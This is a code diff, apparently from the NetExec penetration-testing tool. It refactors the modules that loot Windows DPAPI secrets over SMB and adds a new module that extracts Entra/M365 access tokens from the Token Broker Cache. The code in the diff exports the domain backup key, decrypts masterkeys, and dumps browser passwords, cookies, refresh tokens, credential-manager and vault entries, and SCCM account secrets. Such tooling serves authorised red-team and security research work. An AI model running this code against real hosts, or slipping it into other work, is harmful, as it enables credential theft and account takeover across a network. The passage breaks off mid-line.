dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify @@ -7,6 +6,8 @@ from base64 import b64decode import hashlib from dataclasses import dataclass +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + @dataclass class MRemoteNgEncryptionAttributes: @@ -94,7 +95,10 @@ class NXCModule: use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if dploot_conn is None: + context.log.debug("Could not upgrade connection") + return # 2. Dump users list users = self.get_users(dploot_conn) @@ -116,14 +120,6 @@ class NXCModule: if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn def get_users(self, conn): users = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index c17de1f0..597a45d3 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,10 +1,8 @@ -from dploot.triage.rdg import RDGTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.rdg import RDGTriage, RDGServerProfile from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") + self.pvkbytes = get_domain_backup_key(connection) target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -122,17 +55,17 @@ class NXCModule: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type in ["cred", "logon", "server"]: - log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): + log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") - for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) - if rdg_cred.type == "server": + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}") + context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index d873f099..6aa30f9a 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -1,6 +1,5 @@ import ntpath import tempfile -from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target from impacket.dcerpc.v5 import rrp @@ -13,6 +12,8 @@ from binascii import unhexlify import codecs import re +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + class NXCModule: """ @@ -51,7 +52,7 @@ class NXCModule: self.connection = connection self.share = self.connection.args.share - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -73,7 +74,7 @@ class NXCModule: use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn) if not self.no_remoteops: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() @@ -81,14 +82,6 @@ class NXCModule: self.vnc_client_proxyconf_extract(dploot_conn, remote_ops) self.vnc_from_filesystem(dploot_conn) - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn - def reg_query_value(self, remote_ops, path, key, hku=False): if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py new file mode 100644 index 00000000..ef896b5d --- /dev/null +++ b/nxc/modules/wam.py @@ -0,0 +1,68 @@ +import re +import jwt +from dploot.triage.wam import WamTriage +from dploot.lib.target import Target + +from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection + + +class NXCModule: + name = "wam" + description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """ """ + + def on_admin_login(self, context, connection): + username = connection.username + password = getattr(connection, "password", "") + nthash = getattr(connection, "nthash", "") + + self.pvkbytes = get_domain_backup_key(connection) + + + target = Target.create( + domain=connection.domain, + username=username, + password=password, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), + nthash=nthash, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), + ) + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + + if len(self.masterkeys) == 0: + context.log.fail("No masterkeys looted") + return + + context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens") + + def token_callback(token): + for attrib in token.attribs: + if attrib["Key"].decode() == "WTRes_Token": + # Extract every access token + for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()): + decoded_token = jwt.decode(access_token, options={"verify_signature": False}) + if "preferred_username" in decoded_token: + # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token + context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + + try: + triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback) + triage.triage_wam() + except Exception as e: + context.log.debug(f"Could not loot access tokens: {e}") diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index 73c3ad1e..55f9cd18 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -1,9 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from dploot.triage.wifi import WifiTriage from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection class NXCModule: @@ -17,44 +16,29 @@ class NXCModule: """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - masterkeys = [] - try: - masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={}) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False) if len(masterkeys) == 0: context.log.fail("No masterkeys looted") diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0f27f80a..678bf9fd 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -33,7 +33,8 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC @@ -50,13 +51,10 @@ from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.sccm import SCCMTriage +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup @@ -1586,13 +1584,6 @@ class smb(connection): @requires_admin def sccm(self): - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - target = Target.create( domain=self.domain, username=self.username, @@ -1606,39 +1597,56 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") return - try: - self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - dpapiSystem={}, - ) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) try: - # Collect Chrome Based Browser stored secrets - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi") - sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm() - for sccmcred in sccmcreds: - self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}") - for sccmtask in sccmtasks: - self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}") - for sccmcollection in sccmcollections: - self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}") + sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @@ -1653,57 +1661,14 @@ class smb(connection): except Exception as e: self.logger.fail(str(e)) - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: - try: - results = self.db.get_domain_backupkey(self.domain) - except Exception: - self.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - self.logger.success("Loading domain backupkey from nxcdb...") - self.pvkbytes = results[0][2] - else: - try: - dc_target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - target=self.domain, # querying DNS server for domain will return DC - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - self.db.add_domain_backupkey(self.domain, self.pvkbytes) - else: - self.no_da = False - except Exception as e: - self.logger.fail(f"Could not get domain backupkey: {e}") + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) target = Target.create( domain=self.domain, username=self.username, password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, + target=f"{self.hostname}.{self.domain}" if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -1712,161 +1677,117 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") - return None + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") + return - plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} - if self.password != "": - plaintexts[self.username] = self.password - if self.nthash != "": - nthashes[self.username] = self.nthash - - # Collect User and Machine masterkeys - try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - masterkeys += masterkeys_triage.triage_masterkeys() - if dump_system: - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") - return None + return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - credentials = [] - system_credentials = [] + # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): + tag = "CREDENTIAL" + self.logger.highlight(f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + credential.winuser, + credential.username, + credential.password, + credential.target, + ) + try: - # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials = credentials_triage.triage_credentials() - self.logger.debug(f"Triaged Credentials: {credentials}") + credentials_triage.triage_credentials() if dump_system: - system_credentials = credentials_triage.triage_system_credentials() - self.logger.debug(f"Triaged System Credentials: {system_credentials}") + credentials_triage.triage_system_credentials() except Exception as e: self.logger.debug(f"Error while looting credentials: {e}") - for credential in credentials: - self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - credential.winuser, - credential.username, - credential.password, - credential.target, - ) - for credential in system_credentials: - self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - "SYSTEM", - credential.username, - credential.password, - credential.target, - ) + dump_cookies = "cookies" in self.args.dpapi - browser_credentials = [] - cookies = [] - try: - # Collect Chrome Based Browser stored secrets - dump_cookies = "cookies" in self.args.dpapi - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) - except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - for credential in browser_credentials: - if isinstance(credential, LoginData): - cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.username, - credential.password, - credential.url, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, ) - elif isinstance(credential, GoogleRefreshToken): - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}") + elif isinstance(secret, GoogleRefreshToken): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.service, - credential.token, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, "Google Refresh Token", ) + elif isinstance(secret, Cookie): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}") - if dump_cookies and cookies: - self.logger.display("Start Dumping Cookies") - for cookie in cookies: - if cookie.cookie_value != "": - self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") - self.logger.display("End Dumping Cookies") - elif dump_cookies: - self.logger.fail("No cookies found") - - vaults = [] try: - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) - vaults = vaults_triage.triage_vaults() + browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: - self.logger.debug(f"Error while looting vaults: {e}") - for vault in vaults: - if vault.type == "Internet Explorer": - resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") + self.logger.debug(f"Error while looting browsers: {e}") + + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - "IEX", - vault.winuser, - vault.username, - vault.password, - vault.resource, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, ) + try: + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() + except Exception as e: + self.logger.debug(f"Error while looting vaults: {e}") + + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + self.logger.highlight(f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") - firefox_credentials = [] try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn) - firefox_credentials = firefox_triage.run() + firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - for credential in firefox_credentials: - url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "FIREFOX", - credential.winuser, - credential.username, - credential.password, - credential.url, - ) - - if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials): - self.logger.fail("No secrets found") @requires_admin def lsa(self): diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py new file mode 100644 index 00000000..9e041f11 --- /dev/null +++ b/nxc/protocols/smb/dpapi.py @@ -0,0 +1,97 @@ +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file + + +def get_domain_backup_key(context): + pvkbytes = None + try: + results = context.db.get_domain_backupkey(context.domain) + except Exception: + context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif context.no_da is None and context.args.local_auth is False: + try: + dc_target = Target.create( + domain=context.domain, + username=context.username, + password=context.password, + target=context.domain, # querying DNS server for domain will return DC + lmhash=context.lmhash, + nthash=context.nthash, + do_kerberos=context.kerberos, + aesKey=context.aesKey, + no_pass=True, + use_kcache=context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + context.db.add_domain_backupkey(context.domain, pvkbytes) + else: + context.no_da = False + except Exception as e: + context.logger.fail(f"Could not get domain backupkey: {e}") + return pvkbytes + +def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): + masterkeys = [] + plaintexts = {} + nthashes = {} + if context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(context.args.mkfile) + except Exception as e: + context.logger.fail(str(e)) + if user: + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + if context.password != "": + plaintexts[context.username] = context.password + if context.nthash != "": + nthashes[context.username] = context.nthash + + # Collect User and Machine masterkeys + try: + context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=dploot_connection, + pvkbytes=context.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem={}, + ) + context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + if user: + context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + if system: + context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + except Exception as e: + context.logger.debug(f"Could not get masterkeys: {e}") + + return masterkeys + +def upgrade_to_dploot_connection(target, connection=None): + conn = None + try: + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + conn.connect() + except Exception: + return None + return conn \ No newline at end of file diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 01fb8266..ec63705d 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -7,10 +7,14 @@ import ntpath from os import remove import sqlite3 import tempfile +from dataclasses import dataclass +from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -21,6 +25,16 @@ class FirefoxData: self.username = username self.password = password +@dataclass +class FirefoxCookie: + winuser: str + host: str + path: str + cookie_name: str + cookie_value: str + creation_utc: str + expires_utc: str + last_access_utc: str class FirefoxTriage: """ @@ -41,23 +55,19 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None): + def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection=None): - self.conn = DPLootSMBConnection(self.target) - if connection is not None: - self.conn.smb_session = connection - else: - self.conn.connect() + self.per_secret_callback = per_secret_callback - def run(self): + def run(self, gather_cookies=False): if self.conn is None: - self.upgrade_connection() + upgrade_to_dploot_connection(target=self.target) firefox_data = [] + firefox_cookies = [] # list users users = self.get_users() for user in users: @@ -71,6 +81,11 @@ class FirefoxTriage: continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: + if gather_cookies: + cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") + cookies_data = self.conn.readFile(self.share, cookies_path) + if cookies_data is not None: + firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: @@ -79,7 +94,7 @@ class FirefoxTriage: if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) + key4_data 